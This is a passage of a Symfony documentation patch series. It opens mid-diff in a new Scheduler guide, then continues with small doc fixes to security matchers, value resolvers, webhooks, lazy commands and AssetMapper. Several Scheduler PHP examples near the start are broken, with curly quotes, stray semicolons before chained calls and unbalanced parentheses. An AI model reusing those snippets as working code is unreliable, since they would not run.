+
+        RecurringMessage::trigger(
+            new ExcludeHolidaysTrigger( // your custom trigger wrapper
+                CronExpressionTrigger::fromSpec('@daily'),
+            ),
+            new SendDailySalesReports(// ...),
+        );
+
+The RecurringMessages must be attached to a Schedule::
+
+    // src/Scheduler/MyScheduleProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    RecurringMessage::trigger(
+                        new ExcludeHolidaysTrigger( // your custom trigger wrapper
+                            CronExpressionTrigger::fromSpec('@daily'),
+                        ),
+                    new SendDailySalesReports()),
+                    RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport())
+
+                );
+        }
+    }
+
+So, this RecurringMessage will encompass both the trigger, defining the generation frequency of the message, and the message itself, the one to be processed by a specific handler.
+
+Consuming Messages (Running the Worker)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+After defining and attaching your RecurringMessages to a schedule, you'll need a mechanism to generate and 'consume' the messages according to their defined frequencies.
+This can be achieved using the ``messenger:consume command`` since the Scheduler reuses the Messenger worker.
+
+.. code-block:: terminal
+
+    php bin/console messenger:consume scheduler_nameofyourschedule
+
+    # use -vv if you need details about what's happening
+    php bin/console messenger:consume scheduler_nameofyourschedule -vv
+
+.. image:: /_images/components/scheduler/generate_consume.png
+    :alt: Symfony Scheduler - generate and consume
+
+.. versionadded:: 6.4
+
+    Since version 6.4, you can define your message(s) via a ``callback``. This is achieved by defining a :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
+
+
+Debugging the Schedule
+~~~~~~~~~~~~~~~~~~~~~~
+
+The ``debug:scheduler`` command provides a list of schedules along with their recurring messages.
+You can narrow down the list to a specific schedule.
+
+.. versionadded:: 6.4
+
+    Since version 6.4, you can even specify a date to determine the next run date using the ``--date`` option.
+    Additionally, you have the option to display terminated recurring messages using the ``--all`` option.
+
+.. code-block:: terminal
+
+    $ php bin/console debug:scheduler
+
+      Scheduler
+      =========
+
+      default
+      -------
+
+        ------------------- ------------------------- ----------------------
+        Trigger             Provider                  Next Run
+        ------------------- ------------------------- ----------------------
+        every 2 days        App\Messenger\Foo(0:17..)  Sun, 03 Dec 2023 ...
+        15 4 */3 * *        App\Messenger\Foo(0:17..)  Mon, 18 Dec 2023 ...
+       -------------------- -------------------------- ---------------------
+
+Efficient management with Symfony Scheduler
+-------------------------------------------
+
+However, if your worker becomes idle, since the messages from your schedule are generated on-the-fly by the schedulerTransport,
+they won't be generated during this idle period.
+
+While this might not pose a problem in certain situations, consider the impact for your sales company if a report is missed.
+
+In this case, the scheduler has a feature that allows you to remember the last execution date of a message.
+So, when it wakes up again, it looks at all the dates and can catch up on what it missed.
+
+This is where the ``stateful`` option comes into play. This option helps you remember where you left off, which is super handy for those moments when the worker is idle and you need to catch up (for more details, see :doc:`cache </components/cache>`)::
+
+    // src/Scheduler/MyScheduleProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    // ...
+                );
+                ->stateful($this->cache)
+        }
+    }
+
+To scale your schedules more effectively, you can use multiple workers.
+In such cases, a good practice is to add a :doc:`lock </components/lock>`. for some job concurrency optimization. It helps preventing the processing of a task from being duplicated.::
+
+    // src/Scheduler/MyScheduleProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    // ...
+                );
+                ->lock($this->lockFactory->createLock(‘my-lock’)
+        }
+    }
+
+.. tip::
+
+    The processing time of a message matters.
+    If it takes a long time, all subsequent message processing may be delayed. So, it's a good practice to anticipate this and plan for frequencies greater than the processing time of a message.
+
+Additionally, for better scaling of your schedules, you have the option to wrap your message in a :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage`.
+This allows you to specify a transport on which your message will be redispatched before being further redispatched to its corresponding handler::
+
+    // src/Scheduler/MyScheduleProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            return $this->schedule ??= (new Schedule())
+                ->with(RecurringMessage::every('5 seconds’), new RedispatchMessage(new Message(), ‘async’))
+                );
+        }
+    }
+
+.. _dragonmantank/cron-expression: https://packagist.org/packages/dragonmantank/cron-expression
+.. _crontab_helper: https://crontab.guru/

From f32a8cf34775c2b509c2312a610213aa5de29291 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 20 Dec 2023 13:58:44 +0100
Subject: [PATCH 5555/7107] [Security] Update request matcher doc

---
 security/access_control.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index 1da469a1f33..a8a0a3e2987 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -19,10 +19,10 @@ things:
 1. Matching Options
 -------------------
 
-Symfony creates an instance of :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher`
-for each ``access_control`` entry, which determines whether or not a given
-access control should be used on this request. The following ``access_control``
-options are used for matching:
+Symfony uses :class:`Symfony\\Component\\HttpFoundation\\ChainRequestMatcher` for
+each ``access_control`` entry, which determines which implementation of
+:class:`Symfony\\Component\\HttpFoundation\\RequestMatcherInterface` should be used
+on this request. The following ``access_control`` options are used for matching:
 
 * ``path``: a regular expression (without delimiters)
 * ``ip`` or ``ips``: netmasks are also supported (can be a comma-separated string)

From 93cec5fcd819cc6fcaec4b14485e020443cc4804 Mon Sep 17 00:00:00 2001
From: Matt Janssen <matt.janssen@cleverconnect.com>
Date: Thu, 21 Dec 2023 10:59:59 +0100
Subject: [PATCH 5556/7107] [Value Resolver] Added
 `RequestPayloadValueResolver` section

Co-authored-by: Alexandre Daubois <2144837+alexandre-daubois@users.noreply.github.com>
---
 controller.rst                |  4 ++++
 controller/value_resolver.rst | 15 +++++++++++++++
 2 files changed, 19 insertions(+)

diff --git a/controller.rst b/controller.rst
index 6837c28c837..8e8c5d193e9 100644
--- a/controller.rst
+++ b/controller.rst
@@ -388,6 +388,8 @@ attribute, arguments of your controller's action can be automatically fulfilled:
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryParameter` attribute
     was introduced in Symfony 6.3.
 
+.. _controller-mapping-query-string:
+
 Mapping The Whole Query String
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -445,6 +447,8 @@ You can customize the validation groups used during the mapping thanks to the
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute
     was introduced in Symfony 6.3.
 
+.. _controller-mapping-request-payload:
+
 Mapping Request Payload
 ~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 71efd680b08..7509920bc04 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -79,6 +79,19 @@ Symfony ships with the following value resolvers in the
 
         The ``BackedEnumValueResolver`` and ``EnumRequirement`` were introduced in Symfony 6.1.
 
+
+:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestPayloadValueResolver`
+    Maps the request payload or the query string into the type-hinted object.
+
+    Because this is a :ref:`targeted value resolver <value-resolver-targeted>`,
+    you'll have to use either the :ref:`MapRequestPayload <controller-mapping-request-payload>`
+    or the :ref:`MapQueryString <controller-mapping-query-string>` attribute
+    in order to use this resolver.
+
+    .. versionadded:: 6.3
+
+        The ``RequestPayloadValueResolver`` was introduced in Symfony 6.3.
+
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestAttributeValueResolver`
     Attempts to find a request attribute that matches the name of the argument.
 
@@ -430,6 +443,8 @@ command to see which argument resolvers are present and in which order they run:
 You can also configure the name passed to the ``ValueResolver`` attribute to target
 your resolver. Otherwise it will default to the service's id.
 
+.. _value-resolver-targeted:
+
 ``controller.targeted_value_resolver``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From f43dff036ae393b5b28423f4848eae561b3dd8d7 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 21 Dec 2023 12:07:40 +0100
Subject: [PATCH 5557/7107] fix headline

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index c5e15aa84e2..307a9334d75 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -904,7 +904,7 @@ running the ``messenger:consume`` command.
 
 .. _messenger-retries-failures:
 
-Rate limited transport
+Rate Limited Transport
 ~~~~~~~~~~~~~~~~~~~~~~
 
 .. versionadded:: 6.2

From 2fc4c2fe7957f27e7aecd6fb0c38b7b075fb8455 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 22 Dec 2023 14:46:59 +0100
Subject: [PATCH 5558/7107] some tweaks for the Webhook docs

---
 mailer.rst   |  2 +-
 notifier.rst |  2 +-
 webhook.rst  | 14 +++++++-------
 3 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 8354400ac5c..85cae8368c4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -281,7 +281,7 @@ party provider:
 
 .. tip::
 
-    Some third party mailers, when using the API, support status callback
+    Some third party mailers, when using the API, support status callbacks
     via webhooks. See the :doc:`Webhook documentation </webhook>` for more
     details.
 
diff --git a/notifier.rst b/notifier.rst
index 29af133278a..d964272bec1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -118,7 +118,7 @@ Service             Package                                DSN
 
 .. tip::
 
-    Some third party transports, when using the API, support status callback
+    Some third party transports, when using the API, support status callbacks
     via webhooks. See the :doc:`Webhook documentation </webhook>` for more
     details.
 
diff --git a/webhook.rst b/webhook.rst
index b7457bb2e08..ded720ff75b 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -3,7 +3,7 @@ Webhook
 
 .. versionadded:: 6.3
 
-    The Webhook component was introduced in Symfony 6.3
+    The Webhook component was introduced in Symfony 6.3.
 
 The Webhook component is used to respond to remote webhooks to trigger actions
 in your application. This document focuses on using webhooks to listen to remote
@@ -16,17 +16,17 @@ Installation
 
     $ composer require symfony/webhook
 
-Usage in combination with the Mailer component
+Usage in Combination with the Mailer Component
 ----------------------------------------------
 
 When using a third-party mailer, you can use the Webhook component to receive
 webhook calls from the third-party mailer.
 
-In this example Mailgun is used with ``'mailer_mailgun'`` as webhook type.
-Any type name can be used as long as it's unique. Make sure to use it in the
+In this example Mailgun is used with ``'mailer_mailgun'`` as the webhook type.
+Any type name can be used as long as it is unique. Make sure to use it in the
 routing configuration, the webhook URL and the RemoteEvent consumer.
 
-Install the third party mailer as described in the documentation of the
+Install the third-party mailer as described in the documentation of the
 :ref:`Mailer component <mailer_3rd_party_transport>`.
 
 The Webhook component routing needs to be defined:
@@ -131,13 +131,13 @@ With this done, you can now add a RemoteEvent consumer to react to the webhooks:
         }
     }
 
-Usage in combination with the Notifier component
+Usage in Combination with the Notifier Component
 ------------------------------------------------
 
 The usage of the Webhook component when using a third-party transport in
 the Notifier is very similar to the usage with the Mailer.
 
-Currently, the following third-party sms transports support webhooks:
+Currently, the following third-party SMS transports support webhooks:
 
 ============ ==========================================
 SMS service  Parser service name

From 12c8d58cf9851c418e100bbed5532873e46d3031 Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Sat, 23 Dec 2023 01:36:42 +0100
Subject: [PATCH 5559/7107] [Reference] Fix assets links have wrong label

Asset options shared the same label, making the reading of this paragraph a bit confusing.

I'm more signaling you than fixing it with confidence, as i'm not sure how to use the syntax there with references pages.

Targetting 5.4 because the "bug" is on all current versions (5.4 -> 7.1)
---
 reference/twig_reference.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 5d13a79abaf..cb3c83f6829 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -120,8 +120,10 @@ the application is installed (e.g. in case the project is accessed in a host
 subdirectory) and the optional asset package base path.
 
 Symfony provides various cache busting implementations via the
-:ref:`reference-framework-assets-version`, :ref:`reference-assets-version-strategy`,
-and :ref:`reference-assets-json-manifest-path` configuration options.
+:ref:`assets.version <reference-framework-assets-version>`, 
+:ref:`assets.version_strategy <reference-assets-version-strategy>`, 
+and :ref:`assets.json_manifest_path <reference-assets-json-manifest-path>` 
+configuration options.
 
 .. seealso::
 

From 5f063a2722895e7badcc57199392399f25e8ea1d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9o=20FIDRY?= <theo.fidry@gmail.com>
Date: Tue, 1 Aug 2023 11:17:24 +0200
Subject: [PATCH 5560/7107] [Console] Add more examples for lazy commands

---
 console/commands_as_services.rst |  2 ++
 console/lazy_commands.rst        | 33 +++++++++++++++++++++++++++++++-
 2 files changed, 34 insertions(+), 1 deletion(-)

diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index 63bed40e4db..75aa13d5be8 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -133,3 +133,5 @@ only when the ``app:sunshine`` command is actually called.
 .. caution::
 
     Calling the ``list`` command will instantiate all commands, including lazy commands.
+    However, if the command is a ``Symfony\Component\Console\Command\LazyCommand``, then
+    the underlying command factory will not be executed.
diff --git a/console/lazy_commands.rst b/console/lazy_commands.rst
index f76e3fc29a5..d7210789c4f 100644
--- a/console/lazy_commands.rst
+++ b/console/lazy_commands.rst
@@ -10,6 +10,13 @@ The traditional way of adding commands to your application is to use
 :method:`Symfony\\Component\\Console\\Application::add`, which expects a
 ``Command`` instance as an argument.
 
+This approach can have downsides as some commands might be expensive to
+instantiate in which case you may want to lazy-load them. Note however that lazy-loading
+is not absolute. Indeed a few commands such as `list`, `help` or `_complete` can
+require to instantiate other commands although they are lazy. For example `list` needs
+to get the name and description of all commands, which might require the command to be
+instantiated to get.
+
 In order to lazy-load commands, you need to register an intermediate loader
 which will be responsible for returning ``Command`` instances::
 
@@ -19,7 +26,9 @@ which will be responsible for returning ``Command`` instances::
     use Symfony\Component\Console\CommandLoader\FactoryCommandLoader;
 
     $commandLoader = new FactoryCommandLoader([
-        'app:heavy' => function (): Command { return new HeavyCommand(); },
+        // Note that the `list` command will still instantiate that command
+        // in this example.
+        'app:heavy' => static fn(): Command => new HeavyCommand(),
     ]);
 
     $application = new Application();
@@ -36,6 +45,28 @@ method accepts any
 :class:`Symfony\\Component\\Console\\CommandLoader\\CommandLoaderInterface`
 instance so you can use your own implementation.
 
+Another way to do so is to take advantage of ``Symfony\Component\Console\Command\LazyCommand``::
+
+    use App\Command\HeavyCommand;
+    use Symfony\Component\Console\Application;
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\CommandLoader\FactoryCommandLoader;
+
+    // In this case although the command is instantiated, the underlying command factory
+    // will not be executed unless the command is actually executed or one tries to access
+    // to its input definition to know its argument or option inputs.
+    $lazyCommand = new LazyCommand(
+        'app:heavy',
+        [],
+        'This is another more complete form of lazy command.',
+        false,
+        static fn (): Command => new HeavyCommand(),
+    );
+
+    $application = new Application();
+    $application->add($lazyCommand);
+    $application->run();
+
 Built-in Command Loaders
 ------------------------
 

From 96552a35705ff74ea8aa5bb68053ed295d91b7b2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 23 Dec 2023 11:50:55 +0100
Subject: [PATCH 5561/7107] -

---
 reference/twig_reference.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index cb3c83f6829..481cbd23898 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -120,9 +120,9 @@ the application is installed (e.g. in case the project is accessed in a host
 subdirectory) and the optional asset package base path.
 
 Symfony provides various cache busting implementations via the
-:ref:`assets.version <reference-framework-assets-version>`, 
-:ref:`assets.version_strategy <reference-assets-version-strategy>`, 
-and :ref:`assets.json_manifest_path <reference-assets-json-manifest-path>` 
+:ref:`assets.version <reference-framework-assets-version>`,
+:ref:`assets.version_strategy <reference-assets-version-strategy>`,
+and :ref:`assets.json_manifest_path <reference-assets-json-manifest-path>`
 configuration options.
 
 .. seealso::

From 3a0df2be2725d85ca21c57c934af6c266b5d7e6a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Alejandro=20Garc=C3=ADa=20Rodr=C3=ADguez?=
 <alejgarciarodriguez@gmail.com>
Date: Sat, 23 Dec 2023 18:24:02 +0100
Subject: [PATCH 5562/7107] replace get() with all() method to support
 non-scalar types

---
 form/direct_submit.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 3e239bfc138..dfd24acec82 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -17,7 +17,7 @@ control over when exactly your form is submitted and what data is passed to it::
         $form = $this->createForm(TaskType::class, $task);
 
         if ($request->isMethod('POST')) {
-            $form->submit($request->request->get($form->getName()));
+            $form->submit($request->request->all($form->getName()));
 
             if ($form->isSubmitted() && $form->isValid()) {
                 // perform some action...

From 74786321fee9d862130a22df7651238d9bce7311 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 24 Dec 2023 09:21:57 +0100
Subject: [PATCH 5563/7107] syntax tweaks

---
 console/lazy_commands.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/console/lazy_commands.rst b/console/lazy_commands.rst
index d7210789c4f..487ef32955f 100644
--- a/console/lazy_commands.rst
+++ b/console/lazy_commands.rst
@@ -12,8 +12,8 @@ The traditional way of adding commands to your application is to use
 
 This approach can have downsides as some commands might be expensive to
 instantiate in which case you may want to lazy-load them. Note however that lazy-loading
-is not absolute. Indeed a few commands such as `list`, `help` or `_complete` can
-require to instantiate other commands although they are lazy. For example `list` needs
+is not absolute. Indeed a few commands such as ``list``, ``help`` or ``_complete`` can
+require to instantiate other commands although they are lazy. For example ``list`` needs
 to get the name and description of all commands, which might require the command to be
 instantiated to get.
 
@@ -54,7 +54,7 @@ Another way to do so is to take advantage of ``Symfony\Component\Console\Command
 
     // In this case although the command is instantiated, the underlying command factory
     // will not be executed unless the command is actually executed or one tries to access
-    // to its input definition to know its argument or option inputs.
+    // its input definition to know its argument or option inputs.
     $lazyCommand = new LazyCommand(
         'app:heavy',
         [],

From 786e4aa10a16961f898ec7bf9246dd66c0fc0fad Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 22 Dec 2023 14:43:22 +0100
Subject: [PATCH 5564/7107] tweak the AssetMapper docs

---
 frontend/asset_mapper.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 70db9265226..8ac9c2d575e 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -406,7 +406,7 @@ CSS can be added to your page by importing it from a JavaScript file. The defaul
     // ...
 
 When you call ``importmap('app')`` in ``base.html.twig``, AssetMapper parses
-``assets/app.js`` (and any JavaScript files that *it* imports) looking for ``import``
+``assets/app.js`` (and any JavaScript files that it imports) looking for ``import``
 statements for CSS files. The final collection of CSS files is rendered onto
 the page as ``link`` tags in the order they were imported.
 
@@ -513,7 +513,7 @@ Missing importmap Entry
 ~~~~~~~~~~~~~~~~~~~~~~~
 
 One of the most common errors will come from your browser's console, and
-will something like this:
+will look something like this:
 
     Failed to resolve module specifier "    bootstrap". Relative references must start
     with either "/", "./", or "../".
@@ -764,25 +764,25 @@ If you *do* need to support very old browsers, you should use a tool like
     (https://caniuse.com/import-maps), you can use an ``importShim()`` function
     from the shim: https://www.npmjs.com/package/es-module-shims#user-content-polyfill-edge-case-dynamic-import
 
-Can I Use with Sass or Tailwind?
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Can I Use it with Sass or Tailwind?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Sure! See :ref:`Using Tailwind CSS <asset-mapper-tailwind>` or :ref:`Using Sass <asset-mapper-sass>`.
 
-Can I use with TypeScript?
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+Can I Use it with TypeScript?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Sure! See :ref:`Using TypeScript <asset-mapper-ts>`.
 
-Can I use with JSX or Vue?
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+Can I Use it with JSX or Vue?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Probably not. And if you're writing an application in React, Svelte or another
 frontend framework, you'll probably be better off using *their* tools directly.
 
 JSX *can* be compiled directly to a native JavaScript file but if you're using a lot of JSX,
 you'll probably want to use a tool like :ref:`Encore <frontend-webpack-encore>`.
-See the `UX React Documentation`_ for more details about using with the AssetMapper
+See the `UX React Documentation`_ for more details about using it with the AssetMapper
 component.
 
 Vue files *can* be written in native JavaScript, and those *will* work with
@@ -796,7 +796,7 @@ component.
 Using TypeScript
 ----------------
 
-To use TypeScript with AssetMapper component, check out `sensiolabs/typescript-bundle`_.
+To use TypeScript with the AssetMapper component, check out `sensiolabs/typescript-bundle`_.
 
 Third-Party Bundles & Custom Asset Paths
 ----------------------------------------
@@ -875,7 +875,7 @@ Then try the command again.
 Configuration Options
 ---------------------
 
-You can see every available configuration option and some info by running:
+You can see every available configuration options and some info by running:
 
 .. code-block:: terminal
 
@@ -897,7 +897,7 @@ can be a simple list:
                 - assets/
                 - vendor/some/package/assets
 
-Of you can give each path a "namespace" that will be used in the asset map:
+Or you can give each path a "namespace" that will be used in the asset map:
 
 .. code-block:: yaml
 
@@ -1097,7 +1097,7 @@ command that checks security vulnerabilities in the dependencies of your applica
     6 vulnerabilities found: 1 Critical / 1 High / 4 Medium
 
 The command will return the ``0`` exit code if no vulnerability is found, or
-the ``-1`` exit code otherwise. This means that you can seamlessly integrate this
+the ``1`` exit code otherwise. This means that you can seamlessly integrate this
 command as part of your CI to be warned anytime a new vulnerability is found.
 
 .. tip::

From 9f4b6263f317b38b9294a6d0622cc79ea6d598ae Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Thu, 21 Dec 2023 09:54:44 +0100
Subject: [PATCH 5565/7107] [String] Remove confusing paragraph about
 `withEmoji('strip')`

---
 components/intl.rst   |  9 +++++++++
 components/string.rst | 10 ----------
 2 files changed, 9 insertions(+), 10 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 46146e47e1b..8dde23105a6 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -424,6 +424,15 @@ platforms::
     $transliterator->transliterate('Menus with 🥗 or 🧆');
     // => 'Menus with :green_salad: or :falafel:'
 
+Furthermore the ``EmojiTransliterator`` provides a special ``strip`` locale
+that removes all the emojis from a string::
+
+    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
+
+    $transliterator = EmojiTransliterator::create('strip');
+    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
+    // => 'Hey! Happy Birthday!'
+
 .. tip::
 
     Combine this emoji transliterator with the :ref:`Symfony String slugger <string-slugger-emoji>`
diff --git a/components/string.rst b/components/string.rst
index f743849fd19..b3d9bb7954b 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -589,16 +589,6 @@ from GitHub or Slack, use the first argument of ``withEmoji()`` method::
     $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
     // $slug = 'a-smiley-cat-black-cat-and-a-lion';
 
-If you want to strip emojis from slugs, use the special ``strip`` locale::
-
-    use Symfony\Component\String\Slugger\AsciiSlugger;
-
-    $slugger = new AsciiSlugger();
-    $slugger = $slugger->withEmoji('strip');
-
-    $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
-    // $slug = 'a-and-a';
-
 .. _string-inflector:
 
 Inflector

From 998eafa6f25ae4f1e9992726ee029749afa921c3 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 26 Dec 2023 09:23:34 +0100
Subject: [PATCH 5566/7107] Mention Symfony CLI workers where applicable

---
 frontend/encore/simple-example.rst | 7 +++++++
 messenger.rst                      | 7 +++++++
 setup/symfony_server.rst           | 2 ++
 3 files changed, 16 insertions(+)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 2d46a392293..9ba62c797ee 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -83,6 +83,13 @@ To build the assets, run the following if you use the Yarn package manager:
 All of these commands - e.g. ``dev`` or ``watch`` - are shortcuts that are defined
 in your ``package.json`` file.
 
+.. tip::
+
+    If you're using the Symfony CLI tool, you can configure workers to be
+    automatically run along with the webserver. You can find more information
+    in the :ref:`Symfony CLI Workers <symfony-server_configuring-workers>`
+    documentation.
+
 .. caution::
 
     Whenever you make changes in your ``webpack.config.js`` file, you must
diff --git a/messenger.rst b/messenger.rst
index 2de70a2d0cc..97100cdbd34 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -482,6 +482,13 @@ The first argument is the receiver's name (or service id if you routed to a
 custom service). By default, the command will run forever: looking for new messages
 on your transport and handling them. This command is called your "worker".
 
+.. tip::
+
+    In a development environment and if you're using the Symfony CLI tool,
+    you can configure workers to be automatically run along with the webserver.
+    You can find more information in the
+    :ref:`Symfony CLI Workers <symfony-server_configuring-workers>` documentation.
+
 .. tip::
 
     To properly stop a worker, throw an instance of
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 76073b5dcfa..2e61d331bd4 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -338,6 +338,8 @@ There are several options that you can set using a ``.symfony.local.yaml`` confi
     using the ``proxy:domain:attach`` command for the current project when you start
     the server.
 
+.. _symfony-server_configuring-workers:
+
 Configuring Workers
 ~~~~~~~~~~~~~~~~~~~
 

From 8d69319ff59ef8ae2498469e405289c5bbdb604c Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sat, 23 Dec 2023 18:37:12 +0100
Subject: [PATCH 5567/7107] Remove reference to some removed classes

---
 create_framework/http_kernel_httpkernel_class.rst |  5 -----
 introduction/from_flat_php_to_symfony.rst         | 11 +++++------
 messenger.rst                                     |  2 +-
 3 files changed, 6 insertions(+), 12 deletions(-)

diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index fa673f9ba57..ecf9d4c7879 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -114,11 +114,6 @@ client; that's what the ``ResponseListener`` does::
 
     $dispatcher->addSubscriber(new HttpKernel\EventListener\ResponseListener('UTF-8'));
 
-If you want out of the box support for streamed responses, subscribe
-to ``StreamedResponseListener``::
-
-    $dispatcher->addSubscriber(new HttpKernel\EventListener\StreamedResponseListener());
-
 And in your controller, return a ``StreamedResponse`` instance instead of a
 ``Response`` instance.
 
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 7386f629546..3ae6a16d8a3 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -240,7 +240,7 @@ the ``templates/layout.php``:
 You now have a setup that will allow you to reuse the layout.
 Unfortunately, to accomplish this, you're forced to use a few ugly
 PHP functions (``ob_start()``, ``ob_get_clean()``) in the template. Symfony
-solves this using a `Templating`_ component. You'll see it in action shortly.
+solves this using `Twig`_. You'll see it in action shortly.
 
 Adding a Blog "show" Page
 -------------------------
@@ -568,9 +568,8 @@ nice way to group related pages. The controller functions are also sometimes cal
 
 The two controllers (or actions) are still lightweight. Each uses the
 :doc:`Doctrine ORM library </doctrine>` to retrieve objects from the
-database and the Templating component to render a template and return a
-``Response`` object. The ``list.html.twig`` template is now quite a bit simpler,
-and uses Twig:
+database and Twig to render a template and return a ``Response`` object.
+The ``list.html.twig`` template is now quite a bit simpler, and uses Twig:
 
 .. code-block:: html+twig
 
@@ -677,7 +676,7 @@ migrating the blog from flat PHP to Symfony has improved your life:
   :doc:`routing </routing>`, or rendering :doc:`controllers </controller>`;
 
 * Symfony gives you **access to open source tools** such as `Doctrine`_ and the
-  `Templating`_, :doc:`Security </security>`, :doc:`Form </components/form>`,
+  `Twig`_, :doc:`Security </security>`, :doc:`Form </components/form>`,
   `Validator`_ and `Translation`_ components (to name a few);
 
 * The application now enjoys **fully-flexible URLs** thanks to the Routing
@@ -694,7 +693,7 @@ A good selection of `Symfony community tools`_ can be found on GitHub.
 
 .. _`Model-View-Controller`: https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller
 .. _`Doctrine`: https://www.doctrine-project.org/
-.. _Templating: https://github.com/symfony/templating
+.. _Twig: https://github.com/twigphp/twig
 .. _Translation: https://github.com/symfony/translation
